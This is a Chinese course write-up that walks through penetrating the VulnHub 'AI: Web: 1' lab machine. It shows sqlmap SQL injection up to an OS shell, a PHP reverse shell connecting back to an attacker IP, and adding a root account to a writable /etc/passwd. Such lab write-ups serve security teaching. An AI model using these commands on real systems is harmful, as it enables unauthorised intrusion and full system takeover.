轻院课程-VulnHub-AI-web-1.0靶机渗透

问芙 2024-09-12 11:31:01 阅读 52

轻院课程-VulnHub-AI-web-1.0靶机渗透

写在开头:方法不唯一,本篇所使用的方法较为简单

靶机介绍

难度:中级

网络:DHCP

网络模式:NAT

该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到 root

靶机下载地址:

AI: Web: 1 ~ VulnHub

目标:获取 root 特权、拿到flag

环境搭建

将下载的压缩包解压至虚拟机相关目录

虚拟机网络配置

在这里插入图片描述

环境部署成功后靶机如图所示:

在这里插入图片描述

攻击流程

信息收集

主机发现:

<code>┌──(root㉿kali)-[~]

└─# arp-scan -l

#命令解释:

arp-scan -l 的作用:

发现主机:在本地网络上发送 ARP 请求,以识别所有已启动且正在监听的设备

获取 MAC 地址:对于每个响应的设备,arp-scan 会记录其 MAC 地址

获取 IP 地址:同时,也会记录设备的 IP 地址

输出结果:最后,会输出一个列表,显示所有发现的设备及其对应的 IP 和 MAC 地址

在这里插入图片描述

在这里可以看见主机 10.10.0.128 存活,(10.10.0. 1是手工分配的宿主机ip、10.10.0.2 为设置的网关、10.10.0.254 为设置的保留地址),接下来对目标地址进行端口扫描

<code>┌──(root㉿kali)-[~]

└─# nmap -A -p- 10.10.0.128

命令解释:

-A:进行 OS 检测(操作系统检测)、版本检测、脚本扫描和traceroute。它是一个方便的选项,用于获取目标主机尽可能多的信息

-p-:扫描目标主机上的所有端口(从1到65535);- 符号在 nmap 中通常表示一个范围的开始,而 - 自身表示范围的结束,因此 -p- 表示从1到65535的所有端口

10.10.0.128:目标ip地址

在这里插入图片描述

由上图看到,目标主机只开放了 80 端口,并且为 apache协议开放的 httpd 服务,这里使用浏览器访问

浏览器键入:

<code> http://10.10.0.128

在这里插入图片描述

在网站根目录下并没有发现有用的信息,这里便进一步做信息收集

目录爆破:

<code>dirb http://10.10.0.128

在这里插入图片描述

浏览器访问响应码200的网页

浏览器键入url1:

<code>http://10.10.0.128/index.html

在这里插入图片描述

浏览器键入url2:

<code>http://10.10.0.128/robots.txt

在这里插入图片描述

robots.txt 中给了两个目录,尝试使用浏览器访问

浏览器键入目录1:

<code>http://10.10.0.128/m3diNf0/

在这里插入图片描述

浏览器键入目录2:

<code>http://10.10.0.128/se3reTdir777/uploads/

在这里插入图片描述

无权限访问,进一步对目录爆破

敏感目录扫描:

m3diNf0 目录扫描

<code>┌──(root㉿kali)-[~]

└─# dirb http://10.10.0.128/m3diNf0/

命令解释:

dirb:目录扫描的工具

http://10.10.0.128/m3diNf0/: 是 dirb 将要扫描的 URL

在这里插入图片描述

扫描到 info.php ,一般这种字样的文件都是用来展示一些信息的,这里使用浏览器访问

浏览器键入:

<code>http://10.10.0.128/m3diNf0/info.php

在这里插入图片描述

主要信息:

在这里插入图片描述

在这里插入图片描述

User/Group: www-data(33)/33:

Web 服务器正在以 www-data 用户和组运行。在 Linux系统中,www-data 通常是一个预设的用户和组,专门用于运行 Web 服务。数字 33 是该用户和组的 ID(标识符)。

Server Root: /etc/apache2

Server Root 指的是 Apache Web 服务器的配置文件所在的目录。在这里,是 /etc/apache2,这是 Apache 在 Debian、Ubuntu 和基于它们的发行版中的默认位置。这个目录包含了 Apache 的主要配置文件和模块.

DOCUMENT_ROOT: /home/www/html/web1x443290o2sdf92213

DOCUMENT_ROOT 是 Apache 配置中的一个重要指令,它定义了 Web 服务器的根目录。表示服务器提供的 Web 页面和文件将从此目录中提供。在 URL 中没有指定路径时,会默认显示这个目录下的 index.html 或其他默认页面。

CONTEXT_DOCUMENT_ROOT: /home/www/html/web1x443290o2sdf92213

CONTEXT_DOCUMENT_ROOT 通常与虚拟主机或特定的 Web 应用程序上下文相关。指定了特定虚拟主机或应用程序的根目录。在此,与 DOCUMENT_ROOT 相同,表示是一个简单的 Web 服务器配置,没有为不同的虚拟主机或应用程序设置不同的上下文。

se3reTdir777 目录扫描:

<code>┌──(root㉿kali)-[~]

└─# dirb http://10.10.0.128/se3reTdir777/

在这里插入图片描述

扫到 index.php,浏览器访问

浏览器键入:

<code>http://10.10.0.128/se3reTdir777/index.php

在这里插入图片描述

SQL注入:

可见,这里有一个提交窗口,这里提交一个 1

在这里插入图片描述

id为 1 的用户查询出来了,可能存在sql注入漏洞,这里提交一个单引号 ’

提交单引号:

<code>'

在这里插入图片描述

这个报错很显然闭合方式是单引号闭合

在这里插入图片描述

这里使用这个语句可以看到成功执行,前面的判断正确的,这里抓包看一下它提交数据的地方

考录到很多童鞋不会使用 burp 这里使用浏览器抓包

在这里插入图片描述

这里可以看到其是用 post 提交了 uid 和 Operation 两个参数

sqlmap获取shell

这里使用 sqlmap 获取 shell

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs

#命令解释:

-u:这个选项后面跟随的是要测试的 URL

--data:这个选项用于发送 POST 数据到服务器;在这里,"uid=1&Operation=Submit" 是作为 POST 请求发送的数据,模拟了一个可能的登录请求或类似的操作,其中 uid 是用户 ID,Operation=Submit 是触发操作的按钮。

--dbs:这个选项告诉 sqlmap 尝试列出目标数据库服务器上的所有数据库;这是 SQL 注入攻击的一个常见目标,用于枚举后端数据库的信息。

在这里插入图片描述

这里可以看到有两个数据库:

aiweb1

information_schema

查看数据库:

aiweb1数据库

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables

#解释命令:

-D:这个选项后面跟随的是数据库的名称;在此,aiweb1 是目标数据库的名称,sqlmap 将尝试在该数据库上执行 SQL 注入攻击

--tables:这个选项告诉 sqlmap 尝试列出指定数据库中的所有表

在这里插入图片描述

user

systemUser

得出两个表,先看 user 表:

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user –dump

#命令解释:

-T:这个选项后面跟随的是表的名称;这里,user 是目标数据库中的目标表的名称,sqlmap 将尝试获取该表的内容。

--dump:这个选项告诉 sqlmap 尝试导出指定表中的数据;通常用于获取敏感信息,如用户名、密码等。

在这里插入图片描述

这个数据是在 web 页面输入数字就可以直接拿到的,很显然没有什么太大的作用,这里看另一个表 systemUser

插入课堂问题

学习通上的问题:

得到数据库名称是什么?

通过上述部署得出

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs

在这里插入图片描述

得出数据库名称:

aiweb1

information_schema

得到a开头的数据库中数据表名称是什么?

a开头,这里特指aiweb1

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 –tables

在这里插入图片描述

得出表名:

​user

systemUser

得到u开头的数据表中表头名称是什么?提醒:大小写敏感。

u开头,这里特指user

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns

在这里插入图片描述

得出表头:

firstName

Id

lastName

得到f开头的列中的行记录名称是什么?提醒:大小写敏感。

f开头,这里特指firstName

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user -C firstName –dump

在这里插入图片描述

得出行记录名称:

admin

root

mysql

继续往下操作

systemUser 数据库

这里看另外一个表 systemUser

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser –dump

这里有几个选项注意一下:

字典选择 1 其他默认即可

在这里插入图片描述

在这里插入图片描述

得出三个密码,解码后发现不是有用密码

在这里插入图片描述

在数据库中拿不到有用信息,这里看一下当前用户权限

查看当前用户权限

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --privileges

#命令解释:

--privileges:这个选项告诉 sqlmap 尝试枚举数据库用户的权限。这可以帮助确定数据库用户可以执行哪些类型的数据库操作,例如读取数据、写入数据、执行管理任务等。

在这里插入图片描述

上图可见有文件操作权限,这里直接使用 --os-shell 参数

<code>┌──(root㉿kali)-[~]

└─# sqlmap -u "http://10.10.0.128/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

#命令解释:

--os-shell:这个选项告诉 sqlmap 尝试获取操作系统的 shell。如果成功,这将允许攻击者在数据库服务器上执行操作系统命令,这是一个非常强大的功能,通常用于进一步的系统入侵和数据泄露。

在这里插入图片描述

这是一个 php 服务,这里使用默认即可

在这里插入图片描述

这里文件位置 选择 2 自定义,前面在 info.php 文件中可以看到,目标目录不是常规的目录,所以这里需要自定义木马存放目录

路径:

<code> /home/www/html/web1x443290o2sdf92213

权限报错:

在这里插入图片描述

那这里将目录换成前面的 upload 目录

<code> /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

在这里插入图片描述

拿到 shell

反弹 shell

查看靶机是否有 python

在这里插入图片描述

编写后门

<code>┌──(root㉿kali)-[~]

└─# cat webshell.php

<?php

$sock=fsockopen("10.10.0.6",8888);

exec("/bin/sh -i <&3 >&3 2>&3");

?>

#语句解释: $sock=fsockopen(“10.10.0.6”,8888);:这行代码使用 fsockopen 函数打开一个到 IP 10.10.0.6 的 8888 端口的 socket 连接

exec(“/bin/sh -i <&3 >&3 2>&3”);:exec() 函数执行一个 shell 命令。这里的命令是 /bin/sh -i,它启动了一个交互式的 shell 会话。<&3 >&3 2>&3 是重定向操作,它将标准输入(stdin)、标准输出(stdout)和标准错误(stderr)都绑定到文件描述符 3 上。在这个上下文中,文件描述符 3 是之前通过 fsockopen() 打开的 socket 连接。这意味着 shell 会话的所有输入和输出都会通过这个 socket 连接发送和接收

在这里插入图片描述

建立简易服务器:

python2内置了一个简单的HTTP服务器,只需要在命令行下面敲一行命令,一个HTTP服务器就搭建起来了

<code>┌──(root㉿kali)-[~]

└─# python -m SimpleHTTPServer 9999

#命令解释:

-m:这个选项告诉 Python 解释器,接下来的参数是一个模块名,而不是一个脚本文件。

http.server:这是 Python 3.x 版本中的一个标准库模块,它提供了一个简单的 HTTP 服务器功能。

9999:这是服务器将要监听的端口号(可自定义)

在这里插入图片描述

浏览器测试可用性:

在这里插入图片描述

在这里插入图片描述

搭建成功

下载后门文件到靶机

回到目标shell,下载后面文件

<code>os-shell> wget -S http://10.10.0.6:9999/webshell.php

在这里插入图片描述

在这里插入图片描述

下载成功,遇到下载失败时,请多尝试几次

开启端口监听

<code>┌──(root㉿kali)-[~]

└─# nc -lvp 8888

在这里插入图片描述

运行上传文件

<code>os-shell> php webshell.php

在这里插入图片描述

提权

交互式:

为了显示好看一些,这里使用python转换成交互式shell

<code>┌──(root㉿kali)-[~]

└─# python -c 'import pty;pty.spawn("/bin/bash")'

#命令解释:

这个 Python 命令用于在一个终端中生成一个交互式的 Bash Shell。它利用了 Python 的 pty 模块来生成一个伪终端(pseudo-terminal),然后在该伪终端上运行 /bin/bash ,从而创建一个交互式的 Bash Shell

在这里插入图片描述

查看当前用户

<code>whoami、id

在这里插入图片描述

查看当前内核版本

<code>uname -a

在这里插入图片描述

检索没有发现相关的漏洞文件

使用sudo -l 查看相关配置,发现需要当前用户密码:

<code>sudo -l

在这里插入图片描述

发现需要当前用户密码

查看 /etc/passwd 文件权限:

<code>ls -la /etc/passwd

在这里插入图片描述

发现了这个 etc/passwd 这个文件所有者和所属组都是当前用户

思路:

这个文件中其中包含了登录 Linux 系统所必需的每个用户的信息。它保存用户的有用信息,这里修改这个文件生成一个新的有 root 权限的用户即可,先使用 openssl 来生成一个新用户

添加一个用户(记得先加密密码):

<code>openssl passwd -1 -salt fxxkyou Aa123

echo 'fxxkyou:$1$fxxkyou$OTZUTBd0SjyJ.2lzW/Mml/:0:0:root:/root:/bin/bash'>>/etc/passwd

#这些命令都不解释了,较为基础

在这里插入图片描述

切换创建的用户:

<code>su - fxxkyou

输入密码

查看id

在这里插入图片描述

查看权限,已经是root权限

搜索 flag

<code>find / -name flag*

在这里插入图片描述

flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}

结束



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。